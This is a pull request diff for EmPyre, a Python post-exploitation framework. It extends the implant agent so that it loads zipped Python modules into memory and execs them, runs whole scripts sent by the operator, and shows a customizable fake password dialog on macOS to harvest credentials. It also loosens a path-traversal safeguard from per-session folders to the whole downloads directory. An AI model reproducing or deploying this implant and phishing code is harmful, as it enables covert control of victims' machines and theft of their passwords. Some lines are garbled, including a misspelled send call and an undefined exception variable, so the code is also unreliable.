Skip to content
This repository has been archived by the owner on Dec 30, 2017. It is now read-only.

Prompt-custom message #45

Open
wants to merge 4 commits into
base: dev
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
174 changes: 173 additions & 1 deletion data/agent/agent.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,7 @@
import __future__
import zipfile
import io
from urllib import urlopen
import struct, time, base64, subprocess, random, time, datetime
from os.path import expanduser
from StringIO import StringIO
Expand All @@ -9,6 +13,8 @@
import zlib
import threading
import BaseHTTPServer
import zipfile
import imp


################################################
Expand Down Expand Up @@ -43,7 +49,10 @@

defaultPage = base64.b64decode("")

_meta_cache = {}
moduleRepo = {}
jobs = []
global t

# global header dictionary
# sessionID is set by stager.py
Expand Down Expand Up @@ -399,9 +408,172 @@ def processPacket(taskingID, data):
# TODO: implement job structure
pass

elif taskingID == 122:
try:
#base64 and decompress the data.

parts = data.split('|')
fileName = parts[0]
base64part = parts[1]
raw = base64.b64decode(base64part)
d = decompress()
dec_data = d.dec_data(raw, cheader=True)
if not dec_data['crc32_check']:
sendMessage(encodePacket(122, "[!] WARNING: Module import failed crc32 check during decompressing!."))
sendMessage(encodePacket(122, "[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check'])))
except:
sendec_datadMessage(encodePacket(122, "[!] Error in Importing module %s during upload: %s" %(fileName, str(e)) ))

zf = zipfile.ZipFile(io.BytesIO(dec_data['data']), 'r')
moduleRepo[fileName] = zf
install_hook(fileName)
sendMessage(encodePacket(122, "Import of %s successful" %(fileName)))

elif taskingID == 123:
#Remove a module repo
repoName = data
try:
remove_hook(repoName)
sendMessage(encodePacket(123, "%s repo successfully removed" % (repoName)))
except Exception as e:
sendMessage(encodePacket(123, "Unable to remove repo: %s : %s" % (repoName, str(e))))


elif taskingID == 124:
#List all module repos and their contents
repoName = data
if repoName == "":
loadedModules = "\nAll Repos\n"
for key, value in moduleRepo.items():
loadedModules += "\n----"+key+"----\n"
loadedModules += '\n'.join(moduleRepo[key].namelist())

sendMessage(encodePacket(124, loadedModules))
else:
try:
loadedModules = "\n----"+repoName+"----\n"
loadedModules += '\n'.join(moduleRepo[repoName].namelist())
sendMessage(encodePacket(124, loadedModules))
except Exception as e:
msg = "Unable to retrieve repo contents: %s" % (str(e))
sendMessage(encodePacket(124, msg))

else:
return encodePacket(0, "invalid tasking ID: %s" %(taskingID))

################################################
#
# Custom Zip Importer
#
################################################


#adapted from https://github.com/sulinx/remote_importer

# [0] = .py ext, is_package = False
# [1] = /__init__.py ext, is_package = True
_search_order = [('.py', False), ('/__init__.py', True)]

class ZipImportError(ImportError):
"""Exception raised by zipimporter objects."""

# _get_info() = takes the fullname, then subpackage name (if applicable),
# and searches for the respective module or package

class CFinder(object):
"""Import Hook for Empire"""
def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}

def _get_info(self, repoName, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
modulepath = '/'.join(parts)

#check to see if that specific module exists

for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
moduleRepo[repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath

#Error out if we can find the module/package
msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
raise ZipImportError(msg)

def _get_source(self, repoName, fullname):
"""Get the source code for the requested module"""
submodule, is_package, relpath = self._get_info(repoName, fullname)
fullpath = '%s/%s' % (repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
source = moduleRepo[repoName].read(relpath)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
self._source_cache[relpath] = source
return submodule, is_package, fullpath, source
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))

def find_module(self, fullname, path=None):

try:
submodule, is_package, relpath = self._get_info(self.repoName, fullname)
except ImportError:
return None
else:
return self

def load_module(self, fullname):
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
code = compile(source, fullpath, 'exec')
mod = sys.modules.setdefault(fullname, imp.new_module(fullname))
mod.__loader__ = self
mod.__file__ = fullpath
mod.__name__ = fullname
if is_package:
mod.__path__ = [os.path.dirname(mod.__file__)]
exec code in mod.__dict__
return mod

def get_data(self, fullpath):

prefix = os.path.join(self.repoName, '')
if not fullpath.startswith(prefix):
raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
relpath = fullpath[len(prefix):]
try:
return moduleRepo[self.repoName].read(relpath)
except KeyError:
raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))

def is_package(self, fullname):
"""Return if the module is a package"""
submodule, is_package, relpath = self._get_info(self.repoName, fullname)
return is_package

def get_code(self, fullname):
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
return compile(source, fullpath, 'exec')

def install_hook(repoName):
if repoName not in _meta_cache:
finder = CFinder(repoName)
_meta_cache[repoName] = finder
sys.meta_path.append(finder)

def remove_hook(repoName):
if repoName in _meta_cache:
finder = _meta_cache.pop(repoName)
sys.meta_path.remove(finder)

################################################
#
Expand Down Expand Up @@ -629,7 +801,7 @@ def send_job_message_buffer():

def start_webserver(data, ip, port, serveCount):
# thread data_webserver for execution
t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount))
t = KThread(target=data_webserver, args=(data, ip, port, serveCount))
t.start()
return

Expand Down
31 changes: 29 additions & 2 deletions lib/common/agents.py
Original file line number Diff line number Diff line change
Expand Up @@ -183,7 +183,7 @@ def save_file(self, sessionID, path, data, append=False):
filename = parts[-1]

# fix for 'skywalker' exploit by @zeroSteiner
safePath = os.path.abspath("%s/downloads/%s/" % (self.installPath, sessionID))
safePath = os.path.abspath("%s/downloads/" % self.installPath)
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
Expand Down Expand Up @@ -243,7 +243,7 @@ def save_module_file(self, sessionID, path, data):
print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
data = dec_data['data']
# fix for 'skywalker' exploit by @zeroSteiner
safePath = os.path.abspath("%s/downloads/%s/" % (self.installPath, sessionID))
safePath = os.path.abspath("%s/downloads/" % self.installPath)
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
Expand Down Expand Up @@ -987,6 +987,33 @@ def handle_agent_response(self, sessionID, responseName, data):
self.update_agent_results(sessionID, msg)
self.save_agent_log(sessionID, msg)

elif responseName == "TASK_MODULE_IMPORT":
#dynamic script output -> non-blocking

self.update_agent_results(sessionID, data)

#update the agent log

self.save_agent_log(sessionID, data)

elif responseName == "TASK_MODULE_VIEW":
#dynamic script output -> non-blocking

self.update_agent_results(sessionID, data)

#update the agent log

self.save_agent_log(sessionID, data)

elif responseName == "TASK_MODULE_REMOVE":
#dynamic script output -> non-blocking

self.update_agent_results(sessionID, data)

#update the agent log

self.save_agent_log(sessionID, data)

else:
print helpers.color("[!] Unknown response " + str(responseName) + " from " + str(sessionID))

Expand Down
66 changes: 66 additions & 0 deletions lib/common/empyre.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@
import sys, cmd, sqlite3, os, hashlib, traceback, time
from zlib_wrapper import compress
from zlib_wrapper import decompress
import zipfile

# EmPyre imports
import helpers
Expand Down Expand Up @@ -1534,6 +1535,26 @@ def do_python(self, line):
msg = "Tasked agent to run Python command %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)

def do_pythonscript(self, line):
"Load and execute a python script"
path = line.strip()

if os.path.splitext(path)[-1] == '.py' and os.path.isfile(path):
filename = os.path.basename(path).rstrip('.py')
open_file = open(path, 'r')
script = open_file.read()
open_file.close()
script = script.replace('\r\n', '\n')
script = script.replace('\r', '\n')

msg = "[*] Tasked agent to execute python script: "+filename
print helpers.color(msg, color="green")
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", script)
#update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
else:
print helpers.color("[!] Please provide a valid path", color="red")

def do_sysinfo(self, line):
"Task an agent to get system information."

Expand Down Expand Up @@ -1622,6 +1643,51 @@ def do_creds(self, line):
# "Update an agent connection profile."
# # TODO: implement

def do_loadpymodule(self, line):
"Import a python module from memory. Provide a path to a single py file or a module folder with an __init__.py. To load multiple modules, place all module folders in a single directory"
path = line.strip()

if path != "" and os.path.exists(path):
if os.path.splitext(path)[-1] == '.zip' and os.path.isfile(path):

zipname = os.path.basename(path)
open_file = open(path,'rb')
module_data = open_file.read()
open_file.close()
print helpers.color("[*] Starting size of %s for upload and import: %s" %(path, helpers.get_file_size(module_data)), color="green")
msg = "Tasked agent to import "+path+" : " + hashlib.md5(module_data).hexdigest()
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
c = compress.compress()
start_crc32 = c.crc32_data(module_data)
comp_data = c.comp_data(module_data, 9)
module_data = c.build_header(comp_data, start_crc32)
print helpers.color("[*] Final tasked size of %s for import: %s" %(path, helpers.get_file_size(module_data)), color="green")
module_data = helpers.encode_base64(module_data)
data = zipname + "|" + module_data
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_IMPORT", data)
else:
print helpers.color("[!] Unable to locate zip compressed module")
else:
print helpers.color("[!] Please enter a valid module path")

def do_viewrepo(self, line):
"View all of the currently modules in the empire repository"
repoName = line.strip()
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_VIEW", repoName)

def do_removerepo(self, line):
"Remove a module repo."
repoName = line.strip()
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_REMOVE", repoName)

def complete_loadpymodule(self, text, line, begidx, endidx):
"Tab-complete a module import file path"
return helpers.complete_path(text, line)

def complete_pythonscript(self, text, line, begidx, endidx):
"Tab-complete a zip file path"
return helpers.complete_path(text, line)

def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an EmPyre Python module path"
return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
Expand Down
3 changes: 3 additions & 0 deletions lib/common/packets.py
Original file line number Diff line number Diff line change
Expand Up @@ -60,6 +60,9 @@
"TASK_CMD_WAIT_DISK" : 102,
"TASK_CMD_JOB" : 110,
"TASK_CMD_JOB_SAVE" : 111,
"TASK_MODULE_IMPORT" : 122,
"TASK_MODULE_REMOVE" : 123,
"TASK_MODULE_VIEW" : 124,

"TASK_SMBWAIT" : 200,
"TASK_SMBWAIT_SAVE" : 201,
Expand Down
15 changes: 13 additions & 2 deletions lib/modules/collection/osx/prompt.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,12 @@ def __init__(self, mainMenu, params=[]):
'Description' : 'Switch. List applications suitable for launching.',
'Required' : False,
'Value' : ''
},
'Message' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Custom text that will be displayed in the prompt window.',
'Required' : False,
'Value' : ''
}
}

Expand All @@ -74,7 +80,12 @@ def generate(self):

listApps = self.options['ListApps']['Value']
appName = self.options['AppName']['Value']
message = self.options['Message']['Value']

#sets default message if no customization is done
if message == "":
message = appName + " requires your password to continue."

if listApps != "":
script = """
import os
Expand All @@ -91,7 +102,7 @@ def generate(self):
# osascript prompt for the specific application
script = """
import os
print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read()
""" % (appName, appName, appName, appName)
print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s" & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read()
""" % (appName, appName, message, appName)

return script